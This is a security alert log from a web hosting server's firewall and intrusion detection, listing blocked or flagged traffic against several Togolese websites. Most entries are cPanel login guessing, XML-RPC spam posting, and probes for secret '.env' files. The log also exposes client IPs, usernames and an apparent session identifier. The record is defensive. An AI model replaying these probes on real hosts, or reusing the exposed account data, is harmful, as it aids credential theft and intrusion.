[2026-06-27 04:40:20 +0000] info [cpaneld] 68.99.249.217 - tog "GET /login/?login_only=1&user=tog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 108.16.211.195
country_id: 6252001
description:
[2026-06-27 04:40:23 +0000] info [cpaneld] 108.16.211.195 - to "GET /login/?login_only=1&user=to&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user to (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 192.189.233.12
country_id: 1643084
description:
192.189.233.12 - - [27/Jun/2026:04:40:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6987369&pdata=https%253A%252F%252Fucao-uut.tg%252Fadmissions%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782535257 HTTP/2.0" 302 0 ucao-uut.tg "https://ucao-uut.tg/admissions/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:192.189.233.12


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 213.172.149.252
country_id: 953987
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2026/06/e2affaa0f83d9c44300f73b8385e1610_L.jpg 500w, http:/togodailynews.tg/wp-content/uploads/2026/06/e2affaa0f83d9c44300f73b8385e1610_L-300x200.jpg 300w HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.21
country_id: 690791
description:
2026-06-27 04:43:29 H=([77.83.39.21]) [77.83.39.21]:54745 F=<it-support@arse.tg> rejected RCPT <arse@arse.tg>: Sender verify failed


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 100.51.194.111
country_id: 6252001
domain: www.dany2.mairie.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/138.0.0.0 Safari/537.36||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.251.180.84
country_id: 3469034
description:
Jun 27 04:45:44 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.251.180.84 has been locked due to Imunify RBL


plugin: modsec
rule: 77142201
name: IM360 WAF: Possible enumeration of sensitive data (dirb)
abuser: 104.28.251.193
country_id: 6252001
domain: autodiscover.c2ie.tg
description:
IM360 WAF: Possible enumeration of sensitive data (dirb)||MVN:REQUEST_BASENAME||RSV:8.21||T:APACHE||MV:.env~||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 104.28.251.193
country_id: 6252001
domain: autodiscover.c2ie.tg
description:
IM360 WAF: Bad file extension||RSV:8.21||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.production.old||User:root||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 119.93.53.198
country_id: 1694008
description:
119.93.53.198 - - [27/Jun/2026:04:49:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6775965&pdata=https%253A%252F%252Fcfpj.tg%252Fcnrw-187675vetid.htm&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782535743 HTTP/1.1" 302 0 cfpj.tg "https://cfpj.tg/cnrw-187675vetid.htm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:119.93.53.198


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.100.91.113
country_id: 1814991
description:
Jun 27 04:52:01 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.100.91.113 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.182.199
country_id: 1880251
description:
43.173.182.199 - - [27/Jun/2026:04:53:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6319205&pdata=https%253A%252F%252F24heureinfo.tg%252Fwp-json%252Fwp%252Fv2%252Ftags%252F24092&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782536002 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/wp-json/wp/v2/tags/24092" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.182.199


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.168
country_id: 2635167
description:
[2026-06-27 04:53:16 +0000] info [cpaneld] 5.230.153.168 NEW formationfreenet:vCctD4xDFosCmNah address=5.230.153.168,app=cpaneld,creator=formationfreenet,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.172.198.201
country_id: 1880251
description:
43.172.198.201 - - [27/Jun/2026:04:56:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6711916&pdata=https%253A%252F%252Ftogodailynews.tg%252Fwp-json%252Foembed%252F1.0%252Fembed%253Fformat%253Dxml%2526url%253Dhttps%25253A%25252F%25252Ftogodailynews.tg%25252Flemployabilite-des-jeunes-et-des-femmes-un-axe-majeur-de-la-politique-togolaise-de-developpement%25252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782536200 HTTP/1.1" 404 561 togodailynews.tg "https://togodailynews.tg/wp-json/oembed/1.0/embed?format=xml&url=https%3A%2F%2Ftogodailynews.tg%2Flemployabilite-des-jeunes-et-des-femmes-un-axe-majeur-de-la-politique-togolaise-de-developpement%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.172.198.201


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 71.30.206.198
country_id: 6252001
description:
[2026-06-27 04:57:48 +0000] info [cpaneld] 71.30.206.198 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 199.250.229.221
country_id: 6252001
description:
[2026-06-27 04:57:54 +0000] info [cpaneld] 199.250.229.221 - dgdntogotg "GET /login/?login_only=1&user=dgdntogotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntogotg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.90.117.111
country_id: 6252001
description:
[2026-06-27 04:58:10 +0000] info [cpaneld] 73.90.117.111 - dgd "GET /login/?login_only=1&user=dgd&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgd (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 173.186.202.241
country_id: 6252001
description:
[2026-06-27 04:57:52 +0000] info [cpaneld] 173.186.202.241 - dgdntogo "GET /login/?login_only=1&user=dgdntogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.56.40.220
country_id: 6252001
description:
[2026-06-27 04:57:57 +0000] info [cpaneld] 172.56.40.220 - dgdntog "GET /login/?login_only=1&user=dgdntog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.48.187.108
country_id: 6252001
description:
[2026-06-27 04:58:00 +0000] info [cpaneld] 73.48.187.108 - dgdnto "GET /login/?login_only=1&user=dgdnto&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnto (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 100.33.167.162
country_id: 6252001
description:
[2026-06-27 04:58:04 +0000] info [cpaneld] 100.33.167.162 - dgdnt "GET /login/?login_only=1&user=dgdnt&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnt (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 69.243.184.145
country_id: 6252001
description:
[2026-06-27 04:58:07 +0000] info [cpaneld] 69.243.184.145 - dgdn "GET /login/?login_only=1&user=dgdn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdn (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 206.127.55.251
country_id: 6252001
description:
[2026-06-27 04:58:14 +0000] info [cpaneld] 206.127.55.251 - dg "GET /login/?login_only=1&user=dg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dg (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.180.113
country_id: 1880251
description:
43.173.180.113 - - [27/Jun/2026:04:58:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13211796&pdata=https%253A%252F%252F24heureinfo.tg%252Ftag%252Ftogo-malfrats%252Ffeed&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782536307 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/tag/togo-malfrats/feed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.180.113


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 115.124.34.99
country_id: 2077456
domain: www.sncom.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/139.0.7258.5 Safari/537.36||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 65.111.31.54
country_id: 3017382
domain: bierehofbraeu.snb.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/bierehofbraeu.snb.tg/ HTTP/1.1||RSV:8.21||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 76.94.186.183
country_id: 6252001
description:
[2026-06-27 04:59:50 +0000] info [cpaneld] 76.94.186.183 - togoi "GET /login/?login_only=1&user=togoi&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoi (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 67.183.159.21
country_id: 6252001
description:
[2026-06-27 04:59:59 +0000] info [cpaneld] 67.183.159.21 - to "GET /login/?login_only=1&user=to&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user to (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.103.175.201
country_id: 6252001
description:
[2026-06-27 04:59:30 +0000] info [cpaneld] 73.103.175.201 - togointerim "GET /login/?login_only=1&user=togointerim&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togointerim (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 70.170.14.113
country_id: 6252001
description:
[2026-06-27 04:59:33 +0000] info [cpaneld] 70.170.14.113 - togointerimnet "GET /login/?login_only=1&user=togointerimnet&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togointerimnet (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.58.240.112
country_id: 6252001
description:
[2026-06-27 04:59:41 +0000] info [cpaneld] 172.58.240.112 - togointe "GET /login/?login_only=1&user=togointe&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togointe (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 24.184.181.135
country_id: 6252001
description:
[2026-06-27 04:59:35 +0000] info [cpaneld] 24.184.181.135 - togointeri "GET /login/?login_only=1&user=togointeri&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togointeri (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 108.26.150.40
country_id: 6252001
description:
[2026-06-27 04:59:38 +0000] info [cpaneld] 108.26.150.40 - togointer "GET /login/?login_only=1&user=togointer&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togointer (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 65.34.194.193
country_id: 6252001
description:
[2026-06-27 04:59:56 +0000] info [cpaneld] 65.34.194.193 - tog "GET /login/?login_only=1&user=tog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user tog (has_cpuser_file failed)


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.173.224
country_id: 1880251
description:
43.173.173.224 - - [27/Jun/2026:04:59:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9662057&pdata=https%253A%252F%252F24heureinfo.tg%252Fwp-json%252Fwp%252Fv2%252Ftags%252F3262&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782536362 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/wp-json/wp/v2/tags/3262" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.173.224


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 96.242.125.50
country_id: 6252001
description:
[2026-06-27 04:59:27 +0000] info [cpaneld] 96.242.125.50 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.201.47.220
country_id: 6252001
description:
[2026-06-27 04:59:44 +0000] info [cpaneld] 73.201.47.220 - togoint "GET /login/?login_only=1&user=togoint&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user togoint (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.251.90.48
country_id: 6252001
description:
47.251.90.48 - - [27/Jun/2026:05:01:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6842474&pdata=http%253A%252F%252Fcafe.tg%253A2082%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782536469 HTTP/1.1" 302 0 cafe.tg "http://cafe.tg:52230/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.251.90.48


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.251.118.89
country_id: 6252001
description:
47.251.118.89 - - [27/Jun/2026:05:01:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10393700&pdata=http%253A%252F%252Fbrmn.tg%253A2082%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782536458 HTTP/1.1" 302 0 brmn.tg "http://brmn.tg:52230/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.251.118.89


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.5
country_id: 2363686
description:
2026-06-27 05:02:02 dovecot_login authenticator failed for H=(slave.cloud-et-racks.tg) [154.70.82.5]:49748: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.77.216.189
country_id: 6252001
description:
47.77.216.189 - - [27/Jun/2026:05:01:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6854859&pdata=http%253A%252F%252F154.70.82.246%253A2082%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782536485 HTTP/1.1" 302 0 154.70.82.246 "http://154.70.82.246:52230/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.77.216.189


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.251.186.126
country_id: 6252001
description:
47.251.186.126 - - [27/Jun/2026:05:01:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10252399&pdata=http%253A%252F%252Fwww.arse.tg%253A2082%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782536492 HTTP/1.1" 302 0 www.arse.tg "http://www.arse.tg:52230/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.251.186.126


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.251.88.238
country_id: 6252001
description:
47.251.88.238 - - [27/Jun/2026:05:01:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9869160&pdata=http%253A%252F%252Flacs1.mairie.tg%253A2082%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782536472 HTTP/1.1" 302 0 lacs1.mairie.tg "http://lacs1.mairie.tg:52230/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.251.88.238


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.178.232.212
country_id: 6252001
description:
[2026-06-27 05:02:16 +0000] info [cpaneld] 73.178.232.212 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 65.34.141.118
country_id: 6252001
description:
[2026-06-27 05:02:20 +0000] info [cpaneld] 65.34.141.118 - dgdntogotg "GET /login/?login_only=1&user=dgdntogotg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntogotg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 108.46.150.193
country_id: 6252001
description:
[2026-06-27 05:02:18 +0000] info [cpaneld] 108.46.150.193 - dgdntogo "GET /login/?login_only=1&user=dgdntogo&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.103.130.50
country_id: 6252001
description:
[2026-06-27 05:02:29 +0000] info [cpaneld] 73.103.130.50 - dgdnt "GET /login/?login_only=1&user=dgdnt&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnt (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.62.219.102
country_id: 6252001
description:
[2026-06-27 05:02:35 +0000] info [cpaneld] 73.62.219.102 - dgd "GET /login/?login_only=1&user=dgd&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgd (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 73.196.47.3
country_id: 6252001
description:
[2026-06-27 05:02:37 +0000] info [cpaneld] 73.196.47.3 - dg "GET /login/?login_only=1&user=dg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 188.166.248.160
country_id: 1880251
description:
[2026-06-27 05:02:58 +0000] info [cpaneld] 188.166.248.160 - e.carine "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user e.carine (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 76.124.123.236
country_id: 6252001
description:
[2026-06-27 05:02:23 +0000] info [cpaneld] 76.124.123.236 - dgdntog "GET /login/?login_only=1&user=dgdntog&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdntog (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 172.223.33.215
country_id: 6252001
description:
[2026-06-27 05:02:26 +0000] info [cpaneld] 172.223.33.215 - dgdnto "GET /login/?login_only=1&user=dgdnto&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdnto (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 47.198.252.144
country_id: 6252001
description:
[2026-06-27 05:02:32 +0000] info [cpaneld] 47.198.252.144 - dgdn "GET /login/?login_only=1&user=dgdn&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dgdn (has_cpuser_file failed)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.233.80.173
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2f5a1c293c34795c065feeaac578200776660b93||Title:ch0tmmjw9crhqt5i||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.128.115.151
country_id: 1814991
description:
Jun 27 05:03:19 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.128.115.151 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.233.80.173
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b4c0bc996635ac612c67a196d66cf6a96c2701e9||Title:jxq7nuvtcgcvgcx||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.233.80.173
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e33e66b9ab2d22b63618da7abd76da795a7288b7||Title:25tf8yx1jr1eeq8||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.233.80.173
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:48610e0b38ee9c2e73c2a769cf92e5a182c8a3d2||Title:ru21quvp14js28wt||RSV:8.21||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 168.0.227.214
country_id: 3469034
description:
Jun 27 05:05:23 ns5 auth[658984]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 168.0.227.214 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.233.80.173
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6998592b715d362a7dad06c8fe9b9e25273979d8||Title:urbcbapz4oprrw||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.233.80.173
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:d66ae8fb3ef9d9f1f3a2f8b462918134a9c571d3||Title:sdapalb1mf1jab2tls||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.233.80.173
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:0820838ddd3b41af26efff33c3af69181b334dda||Title:5ylh1mv9p25tbl||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.233.80.173
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7a2d8815ecd8cacadf7a55090d9a89dbf5157946||Title:4t0bwdrxjhc2oyvr||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.233.80.173
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:e91bb4f1d617e1d1b2f3d6410b12823f6822992b||Title:h03s44u90sunpyyi6||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.233.80.173
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:81e6e850302d0e771754ddf78fb716edd5b4e0f8||Title:bqwbjzamn0a9pwb8o4||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.233.80.173
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:1517afa8bc2b929166e6e9f7bf5c6661c5960925||Title:u5dne0jg1fqplyv8l||RSV:8.21||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.233.80.173
country_id: 1269750
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:428c41aa2f6ff1cc0272ccc38590e1d30c186990||Title:4u5httvd52ekg2vf||RSV:8.21||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 43.173.179.229
country_id: 1880251
description:
43.173.179.229 - - [27/Jun/2026:05:14:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10328728&pdata=https%253A%252F%252F24heureinfo.tg%252Fbs-sport-9280%252Fagou-debut-du-championnat-du-district-de-football%252Ffeed&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782537296 HTTP/1.1" 404 561 24heureinfo.tg "https://24heureinfo.tg/bs-sport-9280/agou-debut-du-championnat-du-district-de-football/feed" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.3" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.173.179.229


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 223.233.80.173
country_id: 1269750
